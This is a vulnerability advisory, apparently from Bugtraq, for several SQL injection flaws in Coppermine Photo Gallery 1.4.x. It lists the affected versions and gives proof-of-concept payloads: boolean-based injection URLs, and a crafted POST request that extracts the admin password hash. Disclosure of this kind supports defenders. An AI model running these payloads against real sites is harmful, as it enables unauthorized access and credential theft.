Coppermine Photo Gallery Multiple SQL Injection Vulnerabilities
BID:35009
Info
Coppermine Photo Gallery Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 35009 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 18 2009 12:00AM |
| Updated: | May 19 2009 11:20PM |
| Credit: | girex |
| Vulnerable: |
Coppermine Photo Gallery 1.4.22 Coppermine Photo Gallery 1.4.21 Coppermine Photo Gallery 1.4.20 Coppermine Photo Gallery 1.4.18 Coppermine Photo Gallery 1.4.17 Coppermine Photo Gallery 1.4.16 Coppermine Photo Gallery 1.4.15 Coppermine Photo Gallery 1.4.14 Coppermine Photo Gallery 1.4.13 Coppermine Photo Gallery 1.4.12 Coppermine Photo Gallery 1.4.11 Coppermine Photo Gallery 1.4.10 Coppermine Photo Gallery 1.4.9 Coppermine Photo Gallery 1.4.4 Coppermine Photo Gallery 1.4.3 Coppermine Photo Gallery 1.4.2 Coppermine Photo Gallery 1.4 |
| Not Vulnerable: | |
Discussion
Coppermine Photo Gallery Multiple SQL Injection Vulnerabilities
Coppermine Photo Gallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Coppermine Photo Gallery 1.4.22 is vulnerable; other versions may also be affected.
Coppermine Photo Gallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Coppermine Photo Gallery 1.4.22 is vulnerable; other versions may also be affected.
Exploit / POC
Coppermine Photo Gallery Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example data and URIs are available:
http://www.example.com/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23 true
http://www.example.com/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23 false
POST /[path]/db_input.php HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Cookie: [your_cookies]
Content-Type: application/x-www-form-urlencoded
event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23
http://www.example.com/[path]/displayecard.php?data=[$injection] HTTP/1.1
The following exploit is available:
Attackers can use a browser to exploit these issues.
The following example data and URIs are available:
http://www.example.com/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23 true
http://www.example.com/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23 false
POST /[path]/db_input.php HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Cookie: [your_cookies]
Content-Type: application/x-www-form-urlencoded
event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23
http://www.example.com/[path]/displayecard.php?data=[$injection] HTTP/1.1
The following exploit is available:
Solution / Fix
Coppermine Photo Gallery Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Coppermine Photo Gallery Multiple SQL Injection Vulnerabilities
References:
References:
- Vendor Home Page (Coppermine)